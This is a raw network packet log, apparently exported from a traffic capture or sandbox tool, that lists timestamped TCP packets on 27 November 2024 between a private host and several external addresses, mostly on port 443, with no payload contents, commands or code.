                                                                                                              Nov 27, 2024 16:53:55.216512918 CET443497194.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:53:55.216587067 CET49719443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:53:55.216619968 CET443497194.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:53:55.216636896 CET443497194.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:53:55.216690063 CET49719443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:53:55.216830969 CET49719443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:53:55.216847897 CET443497194.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:53:55.216867924 CET49719443192.168.2.164.245.163.56
                                                                                                              Nov 27, 2024 16:53:55.216873884 CET443497194.245.163.56192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.010349989 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.065191984 CET49720443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:56.065203905 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.113181114 CET49720443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:56.131491899 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.131500959 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.131515980 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.131524086 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.131548882 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.131551981 CET49720443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:56.131580114 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.131601095 CET49720443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:56.177176952 CET49720443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:56.232604027 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.232613087 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.232655048 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.232681036 CET49720443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:56.232774973 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.232846975 CET49720443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:56.233036041 CET49720443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:56.233052015 CET4434972088.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.276458025 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:56.276499033 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.276583910 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:56.276885986 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:56.276896000 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:56.971333981 CET4968080192.168.2.16192.229.211.108
                                                                                                              Nov 27, 2024 16:53:57.335179090 CET49678443192.168.2.1620.189.173.10
                                                                                                              Nov 27, 2024 16:53:58.215883017 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:58.216276884 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:58.216319084 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:58.216739893 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:58.216753006 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:58.216813087 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:58.216825008 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:58.216865063 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:58.217494965 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:58.218672037 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:58.218749046 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:58.218857050 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:58.218868017 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:58.273160934 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:58.731245995 CET49673443192.168.2.16204.79.197.203
                                                                                                              Nov 27, 2024 16:53:59.149410009 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.149455070 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.149507999 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.149544001 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.161719084 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.161807060 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.161839962 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.175215006 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.175297022 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.175338984 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.185309887 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.185389996 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.185419083 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.196140051 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.196221113 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.196248055 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.239168882 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.267740011 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.267807961 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.267868996 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.267901897 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.280808926 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.280889988 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.280916929 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.280936956 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.280991077 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.339020014 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.341551065 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.341649055 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.341845989 CET49721443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.341872931 CET44349721172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.353848934 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:59.353895903 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.353965998 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:59.354245901 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:53:59.354258060 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.496323109 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.496380091 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.496469021 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.496709108 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:53:59.496726036 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.546471119 CET44349714142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.546545982 CET44349714142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:53:59.546611071 CET49714443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:54:00.086071968 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:00.086126089 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.086190939 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:00.086498022 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:00.086519003 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.086652994 CET49714443192.168.2.16142.250.181.68
                                                                                                              Nov 27, 2024 16:54:00.086663008 CET44349714142.250.181.68192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.087236881 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:00.087280035 CET44349725194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.087332964 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:00.087560892 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:00.087574005 CET44349725194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.194988966 CET44349716170.10.161.77192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.195079088 CET44349716170.10.161.77192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.195138931 CET49716443192.168.2.16170.10.161.77
                                                                                                              Nov 27, 2024 16:54:00.962188959 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.962462902 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:00.962483883 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.962831974 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.963138103 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:00.963197947 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:00.963464022 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:01.007370949 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.380275011 CET49716443192.168.2.16170.10.161.77
                                                                                                              Nov 27, 2024 16:54:01.380307913 CET44349716170.10.161.77192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.385205030 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.385519028 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:01.385550976 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.385924101 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.385940075 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.386003971 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:01.386015892 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.386064053 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:01.386653900 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.386939049 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:01.387015104 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.387136936 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:01.387147903 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.442202091 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:01.516801119 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.517164946 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:01.517204046 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.518213987 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.518292904 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:01.519629955 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:01.519694090 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.519918919 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:01.519931078 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:01.570189953 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:01.777201891 CET4968080192.168.2.16192.229.211.108
                                                                                                              Nov 27, 2024 16:54:02.042943001 CET44349725194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.043406010 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.043421984 CET44349725194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.044450998 CET44349725194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.044523001 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.044930935 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.044986963 CET44349725194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.095170021 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.095202923 CET44349725194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.143786907 CET49725443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.248524904 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.252376080 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.252456903 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.252485991 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.263932943 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.264027119 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.264034986 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.273616076 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.273715973 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.273724079 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.286015034 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.286098957 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.286107063 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.299583912 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.299652100 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.299664021 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.309163094 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.309243917 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.309251070 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.310534000 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.310553074 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.310560942 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.310569048 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.310599089 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.310625076 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.310631990 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.310657978 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.310682058 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.363193989 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.368226051 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.372566938 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.372649908 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.372658014 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.425169945 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.425188065 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.426223040 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.440104961 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.440172911 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.440181971 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.440521002 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.440558910 CET44349723172.217.17.33192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.440609932 CET49723443192.168.2.16172.217.17.33
                                                                                                              Nov 27, 2024 16:54:02.473179102 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.473206997 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.505212069 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.505237103 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.505367041 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.505403996 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.505455017 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.521385908 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.546293974 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.546327114 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.546334982 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.546355009 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.546364069 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.546386003 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.546447039 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.546459913 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.548100948 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.548126936 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.548177958 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.548187017 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.548216105 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.548233986 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.600168943 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.670078993 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.670094013 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.670131922 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.670146942 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.670165062 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.670171976 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.670233965 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.670263052 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.672698021 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.672727108 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.672775030 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.672785997 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.672796011 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.672840118 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.704744101 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.704765081 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.704931021 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.704938889 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.705004930 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.716690063 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.716705084 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.716730118 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.716754913 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.716819048 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.716840029 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.716855049 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.716883898 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.728789091 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.728813887 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.728925943 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.728931904 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.728980064 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.745491982 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.745521069 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.745639086 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.745665073 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.745716095 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.849896908 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.849921942 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.850014925 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.850033045 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.850100040 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.854368925 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.854446888 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.854455948 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.854546070 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.854587078 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.855642080 CET49722443192.168.2.1688.218.28.52
                                                                                                              Nov 27, 2024 16:54:02.855658054 CET4434972288.218.28.52192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.871263027 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.871284008 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.871342897 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.871367931 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.871393919 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.871417999 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.887778997 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.887801886 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.887957096 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.887979984 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.888027906 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.903579950 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.903597116 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.903712034 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.903731108 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.903774023 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.917525053 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.917540073 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.917644024 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.917665958 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.917709112 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.932888031 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.932904005 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.932992935 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.933010101 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.933047056 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.947778940 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.947798967 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.947926044 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.947958946 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.948019028 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.963485956 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.963519096 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.963613987 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:02.963639021 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:02.963694096 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:03.073661089 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:03.073690891 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:03.073831081 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:03.073867083 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:03.073925972 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:03.085819006 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:03.085840940 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:03.085906982 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:03.085915089 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:03.085983038 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:03.097687006 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:03.097707033 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:03.097793102 CET49724443192.168.2.16194.59.31.199
